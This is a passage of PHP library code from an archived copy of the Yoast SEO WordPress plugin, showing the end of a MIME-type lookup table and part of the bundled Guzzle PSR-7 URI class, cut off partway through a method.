'image/prs.pti', 'ptid' => 'application/vnd.pvi.ptid1', 'pub' => 'application/x-mspublisher', 'pvb' => 'application/vnd.3gpp.pic-bw-var', 'pwn' => 'application/vnd.3m.post-it-notes', 'pya' => 'audio/vnd.ms-playready.media.pya', 'pyo' => 'model/vnd.pytha.pyox', 'pyox' => 'model/vnd.pytha.pyox', 'pyv' => 'video/vnd.ms-playready.media.pyv', 'qam' => 'application/vnd.epson.quickanime', 'qbo' => 'application/vnd.intu.qbo', 'qfx' => 'application/vnd.intu.qfx', 'qps' => 'application/vnd.publishare-delta-tree', 'qt' => 'video/quicktime', 'qwd' => 'application/vnd.quark.quarkxpress', 'qwt' => 'application/vnd.quark.quarkxpress', 'qxb' => 'application/vnd.quark.quarkxpress', 'qxd' => 'application/vnd.quark.quarkxpress', 'qxl' => 'application/vnd.quark.quarkxpress', 'qxt' => 'application/vnd.quark.quarkxpress', 'ra' => 'audio/x-realaudio', 'ram' => 'audio/x-pn-realaudio', 'raml' => 'application/raml+yaml', 'rapd' => 'application/route-apd+xml', 'rar' => 'application/x-rar', 'ras' => 'image/x-cmu-raster', 'rcprofile' => 'application/vnd.ipunplugged.rcprofile', 'rdf' => 'application/rdf+xml', 'rdz' => 'application/vnd.data-vision.rdz', 'relo' => 'application/p2p-overlay+xml', 'rep' => 'application/vnd.businessobjects', 'res' => 'application/x-dtbresource+xml', 'rgb' => 'image/x-rgb', 'rif' => 'application/reginfo+xml', 'rip' => 'audio/vnd.rip', 'ris' => 'application/x-research-info-systems', 'rl' => 'application/resource-lists+xml', 'rlc' => 'image/vnd.fujixerox.edmics-rlc', 'rld' => 'application/resource-lists-diff+xml', 'rm' => 'audio/x-pn-realaudio', 'rmi' => 'audio/midi', 'rmp' => 'audio/x-pn-realaudio-plugin', 'rms' => 'application/vnd.jcp.javame.midlet-rms', 'rmvb' => 'application/vnd.rn-realmedia-vbr', 'rnc' => 'application/relax-ng-compact-syntax', 'rng' => 'application/xml', 'roa' => 'application/rpki-roa', 'roff' => 'text/troff', 'rp9' => 'application/vnd.cloanto.rp9', 'rpm' => 'audio/x-pn-realaudio-plugin', 'rpss' => 'application/vnd.nokia.radio-presets', 'rpst' => 'application/vnd.nokia.radio-preset', 'rq' => 'application/sparql-query', 'rs' => 'application/rls-services+xml', 'rsa' => 'application/x-pkcs7', 'rsat' => 'application/atsc-rsat+xml', 'rsd' => 'application/rsd+xml', 'rsheet' => 'application/urc-ressheet+xml', 'rss' => 'application/rss+xml', 'rtf' => 'text/rtf', 'rtx' => 'text/richtext', 'run' => 'application/x-makeself', 'rusd' => 'application/route-usd+xml', 'rv' => 'video/vnd.rn-realvideo', 's' => 'text/x-asm', 's3m' => 'audio/s3m', 'saf' => 'application/vnd.yamaha.smaf-audio', 'sass' => 'text/x-sass', 'sbml' => 'application/sbml+xml', 'sc' => 'application/vnd.ibm.secure-container', 'scd' => 'application/x-msschedule', 'scm' => 'application/vnd.lotus-screencam', 'scq' => 'application/scvp-cv-request', 'scs' => 'application/scvp-cv-response', 'scss' => 'text/x-scss', 'scurl' => 'text/vnd.curl.scurl', 'sda' => 'application/vnd.stardivision.draw', 'sdc' => 'application/vnd.stardivision.calc', 'sdd' => 'application/vnd.stardivision.impress', 'sdkd' => 'application/vnd.solent.sdkm+xml', 'sdkm' => 'application/vnd.solent.sdkm+xml', 'sdp' => 'application/sdp', 'sdw' => 'application/vnd.stardivision.writer', 'sea' => 'application/octet-stream', 'see' => 'application/vnd.seemail', 'seed' => 'application/vnd.fdsn.seed', 'sema' => 'application/vnd.sema', 'semd' => 'application/vnd.semd', 'semf' => 'application/vnd.semf', 'senmlx' => 'application/senml+xml', 'sensmlx' => 'application/sensml+xml', 'ser' => 'application/java-serialized-object', 'setpay' => 'application/set-payment-initiation', 'setreg' => 'application/set-registration-initiation', 'sfd-hdstx' => 'application/vnd.hydrostatix.sof-data', 'sfs' => 'application/vnd.spotfire.sfs', 'sfv' => 'text/x-sfv', 'sgi' => 'image/sgi', 'sgl' => 'application/vnd.stardivision.writer-global', 'sgm' => 'text/sgml', 'sgml' => 'text/sgml', 'sh' => 'application/x-sh', 'shar' => 'application/x-shar', 'shex' => 'text/shex', 'shf' => 'application/shf+xml', 'shtml' => 'text/html', 'sid' => 'image/x-mrsid-image', 'sieve' => 'application/sieve', 'sig' => 'application/pgp-signature', 'sil' => 'audio/silk', 'silo' => 'model/mesh', 'sis' => 'application/vnd.symbian.install', 'sisx' => 'application/vnd.symbian.install', 'sit' => 'application/x-stuffit', 'sitx' => 'application/x-stuffitx', 'siv' => 'application/sieve', 'skd' => 'application/vnd.koan', 'skm' => 'application/vnd.koan', 'skp' => 'application/vnd.koan', 'skt' => 'application/vnd.koan', 'sldm' => 'application/vnd.ms-powerpoint.slide.macroenabled.12', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'slim' => 'text/slim', 'slm' => 'text/slim', 'sls' => 'application/route-s-tsid+xml', 'slt' => 'application/vnd.epson.salt', 'sm' => 'application/vnd.stepmania.stepchart', 'smf' => 'application/vnd.stardivision.math', 'smi' => 'application/smil', 'smil' => 'application/smil', 'smv' => 'video/x-smv', 'smzip' => 'application/vnd.stepmania.package', 'snd' => 'audio/basic', 'snf' => 'application/x-font-snf', 'so' => 'application/octet-stream', 'spc' => 'application/x-pkcs7-certificates', 'spdx' => 'text/spdx', 'spf' => 'application/vnd.yamaha.smaf-phrase', 'spl' => 'application/x-futuresplash', 'spot' => 'text/vnd.in3d.spot', 'spp' => 'application/scvp-vp-response', 'spq' => 'application/scvp-vp-request', 'spx' => 'audio/ogg', 'sql' => 'application/x-sql', 'src' => 'application/x-wais-source', 'srt' => 'application/x-subrip', 'sru' => 'application/sru+xml', 'srx' => 'application/sparql-results+xml', 'ssdl' => 'application/ssdl+xml', 'sse' => 'application/vnd.kodak-descriptor', 'ssf' => 'application/vnd.epson.ssf', 'ssml' => 'application/ssml+xml', 'sst' => 'application/octet-stream', 'st' => 'application/vnd.sailingtracker.track', 'stc' => 'application/vnd.sun.xml.calc.template', 'std' => 'application/vnd.sun.xml.draw.template', 'step' => 'application/STEP', 'stf' => 'application/vnd.wt.stf', 'sti' => 'application/vnd.sun.xml.impress.template', 'stk' => 'application/hyperstudio', 'stl' => 'model/stl', 'stp' => 'application/STEP', 'stpx' => 'model/step+xml', 'stpxz' => 'model/step-xml+zip', 'stpz' => 'model/step+zip', 'str' => 'application/vnd.pg.format', 'stw' => 'application/vnd.sun.xml.writer.template', 'styl' => 'text/stylus', 'stylus' => 'text/stylus', 'sub' => 'text/vnd.dvb.subtitle', 'sus' => 'application/vnd.sus-calendar', 'susp' => 'application/vnd.sus-calendar', 'sv4cpio' => 'application/x-sv4cpio', 'sv4crc' => 'application/x-sv4crc', 'svc' => 'application/vnd.dvb.service', 'svd' => 'application/vnd.svd', 'svg' => 'image/svg+xml', 'svgz' => 'image/svg+xml', 'swa' => 'application/x-director', 'swf' => 'application/x-shockwave-flash', 'swi' => 'application/vnd.aristanetworks.swi', 'swidtag' => 'application/swid+xml', 'sxc' => 'application/vnd.sun.xml.calc', 'sxd' => 'application/vnd.sun.xml.draw', 'sxg' => 'application/vnd.sun.xml.writer.global', 'sxi' => 'application/vnd.sun.xml.impress', 'sxm' => 'application/vnd.sun.xml.math', 'sxw' => 'application/vnd.sun.xml.writer', 't' => 'text/troff', 't3' => 'application/x-t3vm-image', 't38' => 'image/t38', 'taglet' => 'application/vnd.mynfc', 'tao' => 'application/vnd.tao.intent-module-archive', 'tap' => 'image/vnd.tencent.tap', 'tar' => 'application/x-tar', 'tcap' => 'application/vnd.3gpp2.tcap', 'tcl' => 'application/x-tcl', 'td' => 'application/urc-targetdesc+xml', 'teacher' => 'application/vnd.smart.teacher', 'tei' => 'application/tei+xml', 'teicorpus' => 'application/tei+xml', 'tex' => 'application/x-tex', 'texi' => 'application/x-texinfo', 'texinfo' => 'application/x-texinfo', 'text' => 'text/plain', 'tfi' => 'application/thraud+xml', 'tfm' => 'application/x-tex-tfm', 'tfx' => 'image/tiff-fx', 'tga' => 'image/x-tga', 'tgz' => 'application/x-tar', 'thmx' => 'application/vnd.ms-officetheme', 'tif' => 'image/tiff', 'tiff' => 'image/tiff', 'tk' => 'application/x-tcl', 'tmo' => 'application/vnd.tmobile-livetv', 'toml' => 'application/toml', 'torrent' => 'application/x-bittorrent', 'tpl' => 'application/vnd.groove-tool-template', 'tpt' => 'application/vnd.trid.tpt', 'tr' => 'text/troff', 'tra' => 'application/vnd.trueapp', 'trig' => 'application/trig', 'trm' => 'application/x-msterminal', 'ts' => 'video/mp2t', 'tsd' => 'application/timestamped-data', 'tsv' => 'text/tab-separated-values', 'ttc' => 'font/collection', 'ttf' => 'font/ttf', 'ttl' => 'text/turtle', 'ttml' => 'application/ttml+xml', 'twd' => 'application/vnd.simtech-mindmapper', 'twds' => 'application/vnd.simtech-mindmapper', 'txd' => 'application/vnd.genomatix.tuxedo', 'txf' => 'application/vnd.mobius.txf', 'txt' => 'text/plain', 'u3d' => 'model/u3d', 'u8dsn' => 'message/global-delivery-status', 'u8hdr' => 'message/global-headers', 'u8mdn' => 'message/global-disposition-notification', 'u8msg' => 'message/global', 'u32' => 'application/x-authorware-bin', 'ubj' => 'application/ubjson', 'udeb' => 'application/x-debian-package', 'ufd' => 'application/vnd.ufdl', 'ufdl' => 'application/vnd.ufdl', 'ulx' => 'application/x-glulx', 'umj' => 'application/vnd.umajin', 'unityweb' => 'application/vnd.unity', 'uo' => 'application/vnd.uoml+xml', 'uoml' => 'application/vnd.uoml+xml', 'uri' => 'text/uri-list', 'uris' => 'text/uri-list', 'urls' => 'text/uri-list', 'usda' => 'model/vnd.usda', 'usdz' => 'model/vnd.usdz+zip', 'ustar' => 'application/x-ustar', 'utz' => 'application/vnd.uiq.theme', 'uu' => 'text/x-uuencode', 'uva' => 'audio/vnd.dece.audio', 'uvd' => 'application/vnd.dece.data', 'uvf' => 'application/vnd.dece.data', 'uvg' => 'image/vnd.dece.graphic', 'uvh' => 'video/vnd.dece.hd', 'uvi' => 'image/vnd.dece.graphic', 'uvm' => 'video/vnd.dece.mobile', 'uvp' => 'video/vnd.dece.pd', 'uvs' => 'video/vnd.dece.sd', 'uvt' => 'application/vnd.dece.ttml+xml', 'uvu' => 'video/vnd.uvvu.mp4', 'uvv' => 'video/vnd.dece.video', 'uvva' => 'audio/vnd.dece.audio', 'uvvd' => 'application/vnd.dece.data', 'uvvf' => 'application/vnd.dece.data', 'uvvg' => 'image/vnd.dece.graphic', 'uvvh' => 'video/vnd.dece.hd', 'uvvi' => 'image/vnd.dece.graphic', 'uvvm' => 'video/vnd.dece.mobile', 'uvvp' => 'video/vnd.dece.pd', 'uvvs' => 'video/vnd.dece.sd', 'uvvt' => 'application/vnd.dece.ttml+xml', 'uvvu' => 'video/vnd.uvvu.mp4', 'uvvv' => 'video/vnd.dece.video', 'uvvx' => 'application/vnd.dece.unspecified', 'uvvz' => 'application/vnd.dece.zip', 'uvx' => 'application/vnd.dece.unspecified', 'uvz' => 'application/vnd.dece.zip', 'vbox' => 'application/x-virtualbox-vbox', 'vbox-extpack' => 'application/x-virtualbox-vbox-extpack', 'vcard' => 'text/vcard', 'vcd' => 'application/x-cdlink', 'vcf' => 'text/x-vcard', 'vcg' => 'application/vnd.groove-vcard', 'vcs' => 'text/x-vcalendar', 'vcx' => 'application/vnd.vcx', 'vdi' => 'application/x-virtualbox-vdi', 'vds' => 'model/vnd.sap.vds', 'vhd' => 'application/x-virtualbox-vhd', 'vis' => 'application/vnd.visionary', 'viv' => 'video/vnd.vivo', 'vlc' => 'application/videolan', 'vmdk' => 'application/x-virtualbox-vmdk', 'vob' => 'video/x-ms-vob', 'vor' => 'application/vnd.stardivision.writer', 'vox' => 'application/x-authorware-bin', 'vrml' => 'model/vrml', 'vsd' => 'application/vnd.visio', 'vsf' => 'application/vnd.vsf', 'vss' => 'application/vnd.visio', 'vst' => 'application/vnd.visio', 'vsw' => 'application/vnd.visio', 'vtf' => 'image/vnd.valve.source.texture', 'vtt' => 'text/vtt', 'vtu' => 'model/vnd.vtu', 'vxml' => 'application/voicexml+xml', 'w3d' => 'application/x-director', 'wad' => 'application/x-doom', 'wadl' => 'application/vnd.sun.wadl+xml', 'war' => 'application/java-archive', 'wasm' => 'application/wasm', 'wav' => 'audio/x-wav', 'wax' => 'audio/x-ms-wax', 'wbmp' => 'image/vnd.wap.wbmp', 'wbs' => 'application/vnd.criticaltools.wbs+xml', 'wbxml' => 'application/wbxml', 'wcm' => 'application/vnd.ms-works', 'wdb' => 'application/vnd.ms-works', 'wdp' => 'image/vnd.ms-photo', 'weba' => 'audio/webm', 'webapp' => 'application/x-web-app-manifest+json', 'webm' => 'video/webm', 'webmanifest' => 'application/manifest+json', 'webp' => 'image/webp', 'wg' => 'application/vnd.pmi.widget', 'wgsl' => 'text/wgsl', 'wgt' => 'application/widget', 'wif' => 'application/watcherinfo+xml', 'wks' => 'application/vnd.ms-works', 'wm' => 'video/x-ms-wm', 'wma' => 'audio/x-ms-wma', 'wmd' => 'application/x-ms-wmd', 'wmf' => 'image/wmf', 'wml' => 'text/vnd.wap.wml', 'wmlc' => 'application/wmlc', 'wmls' => 'text/vnd.wap.wmlscript', 'wmlsc' => 'application/vnd.wap.wmlscriptc', 'wmv' => 'video/x-ms-wmv', 'wmx' => 'video/x-ms-wmx', 'wmz' => 'application/x-msmetafile', 'woff' => 'font/woff', 'woff2' => 'font/woff2', 'word' => 'application/msword', 'wpd' => 'application/vnd.wordperfect', 'wpl' => 'application/vnd.ms-wpl', 'wps' => 'application/vnd.ms-works', 'wqd' => 'application/vnd.wqd', 'wri' => 'application/x-mswrite', 'wrl' => 'model/vrml', 'wsc' => 'message/vnd.wfa.wsc', 'wsdl' => 'application/wsdl+xml', 'wspolicy' => 'application/wspolicy+xml', 'wtb' => 'application/vnd.webturbo', 'wvx' => 'video/x-ms-wvx', 'x3d' => 'model/x3d+xml', 'x3db' => 'model/x3d+fastinfoset', 'x3dbz' => 'model/x3d+binary', 'x3dv' => 'model/x3d-vrml', 'x3dvz' => 'model/x3d+vrml', 'x3dz' => 'model/x3d+xml', 'x32' => 'application/x-authorware-bin', 'x_b' => 'model/vnd.parasolid.transmit.binary', 'x_t' => 'model/vnd.parasolid.transmit.text', 'xaml' => 'application/xaml+xml', 'xap' => 'application/x-silverlight-app', 'xar' => 'application/vnd.xara', 'xav' => 'application/xcap-att+xml', 'xbap' => 'application/x-ms-xbap', 'xbd' => 'application/vnd.fujixerox.docuworks.binder', 'xbm' => 'image/x-xbitmap', 'xca' => 'application/xcap-caps+xml', 'xcs' => 'application/calendar+xml', 'xdf' => 'application/xcap-diff+xml', 'xdm' => 'application/vnd.syncml.dm+xml', 'xdp' => 'application/vnd.adobe.xdp+xml', 'xdssc' => 'application/dssc+xml', 'xdw' => 'application/vnd.fujixerox.docuworks', 'xel' => 'application/xcap-el+xml', 'xenc' => 'application/xenc+xml', 'xer' => 'application/patch-ops-error+xml', 'xfdf' => 'application/xfdf', 'xfdl' => 'application/vnd.xfdl', 'xht' => 'application/xhtml+xml', 'xhtm' => 'application/vnd.pwg-xhtml-print+xml', 'xhtml' => 'application/xhtml+xml', 'xhvml' => 'application/xv+xml', 'xif' => 'image/vnd.xiff', 'xl' => 'application/excel', 'xla' => 'application/vnd.ms-excel', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlc' => 'application/vnd.ms-excel', 'xlf' => 'application/xliff+xml', 'xlm' => 'application/vnd.ms-excel', 'xls' => 'application/vnd.ms-excel', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xlt' => 'application/vnd.ms-excel', 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'xlw' => 'application/vnd.ms-excel', 'xm' => 'audio/xm', 'xml' => 'application/xml', 'xns' => 'application/xcap-ns+xml', 'xo' => 'application/vnd.olpc-sugar', 'xop' => 'application/xop+xml', 'xpi' => 'application/x-xpinstall', 'xpl' => 'application/xproc+xml', 'xpm' => 'image/x-xpixmap', 'xpr' => 'application/vnd.is-xpr', 'xps' => 'application/vnd.ms-xpsdocument', 'xpw' => 'application/vnd.intercon.formnet', 'xpx' => 'application/vnd.intercon.formnet', 'xsd' => 'application/xml', 'xsf' => 'application/prs.xsf+xml', 'xsl' => 'application/xml', 'xslt' => 'application/xslt+xml', 'xsm' => 'application/vnd.syncml+xml', 'xspf' => 'application/xspf+xml', 'xul' => 'application/vnd.mozilla.xul+xml', 'xvm' => 'application/xv+xml', 'xvml' => 'application/xv+xml', 'xwd' => 'image/x-xwindowdump', 'xyz' => 'chemical/x-xyz', 'xz' => 'application/x-xz', 'yaml' => 'text/yaml', 'yang' => 'application/yang', 'yin' => 'application/yin+xml', 'yml' => 'text/yaml', 'ymp' => 'text/x-suse-ymp', 'z' => 'application/x-compress', 'z1' => 'application/x-zmachine', 'z2' => 'application/x-zmachine', 'z3' => 'application/x-zmachine', 'z4' => 'application/x-zmachine', 'z5' => 'application/x-zmachine', 'z6' => 'application/x-zmachine', 'z7' => 'application/x-zmachine', 'z8' => 'application/x-zmachine', 'zaz' => 'application/vnd.zzazz.deck+xml', 'zip' => 'application/zip', 'zir' => 'application/vnd.zul', 'zirz' => 'application/vnd.zul', 'zmm' => 'application/vnd.handheld-entertainment+xml', 'zsh' => 'text/x-scriptzsh'];
    /**
     * Determines the mimetype of a file by looking at its extension.
     *
     * @see https://raw.githubusercontent.com/jshttp/mime-db/master/db.json
     */
    public static function fromFilename(string $filename) : ?string
    {
        return self::fromExtension(\pathinfo($filename, \PATHINFO_EXTENSION));
    }
    /**
     * Maps a file extensions to a mimetype.
     *
     * @see https://raw.githubusercontent.com/jshttp/mime-db/master/db.json
     */
    public static function fromExtension(string $extension) : ?string
    {
        return self::MIME_TYPES[\strtolower($extension)] ?? null;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Uri.php000064400000053363147510273100017727 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\GuzzleHttp\Psr7\Exception\MalformedUriException;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * PSR-7 URI implementation.
 *
 * @author Michael Dowling
 * @author Tobias Schultze
 * @author Matthew Weier O'Phinney
 */
class Uri implements \YoastSEO_Vendor\Psr\Http\Message\UriInterface, \JsonSerializable
{
    /**
     * Absolute http and https URIs require a host per RFC 7230 Section 2.7
     * but in generic URIs the host can be empty. So for http(s) URIs
     * we apply this default host when no host is given yet to form a
     * valid URI.
     */
    private const HTTP_DEFAULT_HOST = 'localhost';
    private const DEFAULT_PORTS = ['http' => 80, 'https' => 443, 'ftp' => 21, 'gopher' => 70, 'nntp' => 119, 'news' => 119, 'telnet' => 23, 'tn3270' => 23, 'imap' => 143, 'pop' => 110, 'ldap' => 389];
    /**
     * Unreserved characters for use in a regex.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-2.3
     */
    private const CHAR_UNRESERVED = 'a-zA-Z0-9_\\-\\.~';
    /**
     * Sub-delims for use in a regex.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-2.2
     */
    private const CHAR_SUB_DELIMS = '!\\$&\'\\(\\)\\*\\+,;=';
    private const QUERY_SEPARATORS_REPLACEMENT = ['=' => '%3D', '&' => '%26'];
    /** @var string Uri scheme. */
    private $scheme = '';
    /** @var string Uri user info. */
    private $userInfo = '';
    /** @var string Uri host. */
    private $host = '';
    /** @var int|null Uri port. */
    private $port;
    /** @var string Uri path. */
    private $path = '';
    /** @var string Uri query string. */
    private $query = '';
    /** @var string Uri fragment. */
    private $fragment = '';
    /** @var string|null String representation */
    private $composedComponents;
    public function __construct(string $uri = '')
    {
        if ($uri !== '') {
            $parts = self::parse($uri);
            if ($parts === \false) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Psr7\Exception\MalformedUriException("Unable to parse URI: {$uri}");
            }
            $this->applyParts($parts);
        }
    }
    /**
     * UTF-8 aware \parse_url() replacement.
     *
     * The internal function produces broken output for non ASCII domain names
     * (IDN) when used with locales other than "C".
     *
     * On the other hand, cURL understands IDN correctly only when UTF-8 locale
     * is configured ("C.UTF-8", "en_US.UTF-8", etc.).
     *
     * @see https://bugs.php.net/bug.php?id=52923
     * @see https://www.php.net/manual/en/function.parse-url.php#114817
     * @see https://curl.haxx.se/libcurl/c/CURLOPT_URL.html#ENCODING
     *
     * @return array|false
     */
    private static function parse(string $url)
    {
        // If IPv6
        $prefix = '';
        if (\preg_match('%^(.*://\\[[0-9:a-f]+\\])(.*?)$%', $url, $matches)) {
            /** @var array{0:string, 1:string, 2:string} $matches */
            $prefix = $matches[1];
            $url = $matches[2];
        }
        /** @var string */
        $encodedUrl = \preg_replace_callback('%[^:/@?&=#]+%usD', static function ($matches) {
            return \urlencode($matches[0]);
        }, $url);
        $result = \parse_url($prefix . $encodedUrl);
        if ($result === \false) {
            return \false;
        }
        return \array_map('urldecode', $result);
    }
    public function __toString() : string
    {
        if ($this->composedComponents === null) {
            $this->composedComponents = self::composeComponents($this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment);
        }
        return $this->composedComponents;
    }
    /**
     * Composes a URI reference string from its various components.
     *
     * Usually this method does not need to be called manually but instead is used indirectly via
     * `Psr\Http\Message\UriInterface::__toString`.
     *
     * PSR-7 UriInterface treats an empty component the same as a missing component as
     * getQuery(), getFragment() etc. always return a string. This explains the slight
     * difference to RFC 3986 Section 5.3.
     *
     * Another adjustment is that the authority separator is added even when the authority is missing/empty
     * for the "file" scheme. This is because PHP stream functions like `file_get_contents` only work with
     * `file:///myfile` but not with `file:/myfile` although they are equivalent according to RFC 3986. But
     * `file:///` is the more common syntax for the file scheme anyway (Chrome for example redirects to
     * that format).
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5.3
     */
    public static function composeComponents(?string $scheme, ?string $authority, string $path, ?string $query, ?string $fragment) : string
    {
        $uri = '';
        // weak type checks to also accept null until we can add scalar type hints
        if ($scheme != '') {
            $uri .= $scheme . ':';
        }
        if ($authority != '' || $scheme === 'file') {
            $uri .= '//' . $authority;
        }
        if ($authority != '' && $path != '' && $path[0] != '/') {
            $path = '/' . $path;
        }
        $uri .= $path;
        if ($query != '') {
            $uri .= '?' . $query;
        }
        if ($fragment != '') {
            $uri .= '#' . $fragment;
        }
        return $uri;
    }
    /**
     * Whether the URI has the default port of the current scheme.
     *
     * `Psr\Http\Message\UriInterface::getPort` may return null or the standard port. This method can be used
     * independently of the implementation.
     */
    public static function isDefaultPort(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool
    {
        return $uri->getPort() === null || isset(self::DEFAULT_PORTS[$uri->getScheme()]) && $uri->getPort() === self::DEFAULT_PORTS[$uri->getScheme()];
    }
    /**
     * Whether the URI is absolute, i.e. it has a scheme.
     *
     * An instance of UriInterface can either be an absolute URI or a relative reference. This method returns true
     * if it is the former. An absolute URI has a scheme. A relative reference is used to express a URI relative
     * to another URI, the base URI. Relative references can be divided into several forms:
     * - network-path references, e.g. '//example.com/path'
     * - absolute-path references, e.g. '/path'
     * - relative-path references, e.g. 'subpath'
     *
     * @see Uri::isNetworkPathReference
     * @see Uri::isAbsolutePathReference
     * @see Uri::isRelativePathReference
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4
     */
    public static function isAbsolute(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool
    {
        return $uri->getScheme() !== '';
    }
    /**
     * Whether the URI is a network-path reference.
     *
     * A relative reference that begins with two slash characters is termed an network-path reference.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2
     */
    public static function isNetworkPathReference(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool
    {
        return $uri->getScheme() === '' && $uri->getAuthority() !== '';
    }
    /**
     * Whether the URI is a absolute-path reference.
     *
     * A relative reference that begins with a single slash character is termed an absolute-path reference.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2
     */
    public static function isAbsolutePathReference(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool
    {
        return $uri->getScheme() === '' && $uri->getAuthority() === '' && isset($uri->getPath()[0]) && $uri->getPath()[0] === '/';
    }
    /**
     * Whether the URI is a relative-path reference.
     *
     * A relative reference that does not begin with a slash character is termed a relative-path reference.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2
     */
    public static function isRelativePathReference(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : bool
    {
        return $uri->getScheme() === '' && $uri->getAuthority() === '' && (!isset($uri->getPath()[0]) || $uri->getPath()[0] !== '/');
    }
    /**
     * Whether the URI is a same-document reference.
     *
     * A same-document reference refers to a URI that is, aside from its fragment
     * component, identical to the base URI. When no base URI is given, only an empty
     * URI reference (apart from its fragment) is considered a same-document reference.
     *
     * @param UriInterface      $uri  The URI to check
     * @param UriInterface|null $base An optional base URI to compare against
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.4
     */
    public static function isSameDocumentReference(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $base = null) : bool
    {
        if ($base !== null) {
            $uri = \YoastSEO_Vendor\GuzzleHttp\Psr7\UriResolver::resolve($base, $uri);
            return $uri->getScheme() === $base->getScheme() && $uri->getAuthority() === $base->getAuthority() && $uri->getPath() === $base->getPath() && $uri->getQuery() === $base->getQuery();
        }
        return $uri->getScheme() === '' && $uri->getAuthority() === '' && $uri->getPath() === '' && $uri->getQuery() === '';
    }
    /**
     * Creates a new URI with a specific query string value removed.
     *
     * Any existing query string values that exactly match the provided key are
     * removed.
     *
     * @param UriInterface $uri URI to use as a base.
     * @param string       $key Query string key to remove.
     */
    public static function withoutQueryValue(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, string $key) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $result = self::getFilteredQueryString($uri, [$key]);
        return $uri->withQuery(\implode('&', $result));
    }
    /**
     * Creates a new URI with a specific query string value.
     *
     * Any existing query string values that exactly match the provided key are
     * removed and replaced with the given key value pair.
     *
     * A value of null will set the query string key without a value, e.g. "key"
     * instead of "key=value".
     *
     * @param UriInterface $uri   URI to use as a base.
     * @param string       $key   Key to set.
     * @param string|null  $value Value to set
     */
    public static function withQueryValue(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, string $key, ?string $value) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $result = self::getFilteredQueryString($uri, [$key]);
        $result[] = self::generateQueryString($key, $value);
        return $uri->withQuery(\implode('&', $result));
    }
    /**
     * Creates a new URI with multiple specific query string values.
     *
     * It has the same behavior as withQueryValue() but for an associative array of key => value.
     *
     * @param UriInterface    $uri           URI to use as a base.
     * @param (string|null)[] $keyValueArray Associative array of key and values
     */
    public static function withQueryValues(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, array $keyValueArray) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $result = self::getFilteredQueryString($uri, \array_keys($keyValueArray));
        foreach ($keyValueArray as $key => $value) {
            $result[] = self::generateQueryString((string) $key, $value !== null ? (string) $value : null);
        }
        return $uri->withQuery(\implode('&', $result));
    }
    /**
     * Creates a URI from a hash of `parse_url` components.
     *
     * @see https://www.php.net/manual/en/function.parse-url.php
     *
     * @throws MalformedUriException If the components do not form a valid URI.
     */
    public static function fromParts(array $parts) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $uri = new self();
        $uri->applyParts($parts);
        $uri->validateState();
        return $uri;
    }
    public function getScheme() : string
    {
        return $this->scheme;
    }
    public function getAuthority() : string
    {
        $authority = $this->host;
        if ($this->userInfo !== '') {
            $authority = $this->userInfo . '@' . $authority;
        }
        if ($this->port !== null) {
            $authority .= ':' . $this->port;
        }
        return $authority;
    }
    public function getUserInfo() : string
    {
        return $this->userInfo;
    }
    public function getHost() : string
    {
        return $this->host;
    }
    public function getPort() : ?int
    {
        return $this->port;
    }
    public function getPath() : string
    {
        return $this->path;
    }
    public function getQuery() : string
    {
        return $this->query;
    }
    public function getFragment() : string
    {
        return $this->fragment;
    }
    public function withScheme($scheme) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $scheme = $this->filterScheme($scheme);
        if ($this->scheme === $scheme) {
            return $this;
        }
        $new = clone $this;
        $new->scheme = $scheme;
        $new->composedComponents = null;
        $new->removeDefaultPort();
        $new->validateState();
        return $new;
    }
    public function withUserInfo($user, $password = null) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $info = $this->filterUserInfoComponent($user);
        if ($password !== null) {
            $info .= ':' . $this->filterUserInfoComponent($password);
        }
        if ($this->userInfo === $info) {
            return $this;
        }
        $new = clone $this;
        $new->userInfo = $info;
        $new->composedComponents = null;
        $new->validateState();
        return $new;
    }
    public function withHost($host) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $host = $this->filterHost($host);
        if ($this->host === $host) {
            return $this;
        }
        $new = clone $this;
        $new->host = $host;
        $new->composedComponents = null;
        $new->validateState();
        return $new;
    }
    public function withPort($port) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $port = $this->filterPort($port);
        if ($this->port === $port) {
            return $this;
        }
        $new = clone $this;
        $new->port = $port;
        $new->composedComponents = null;
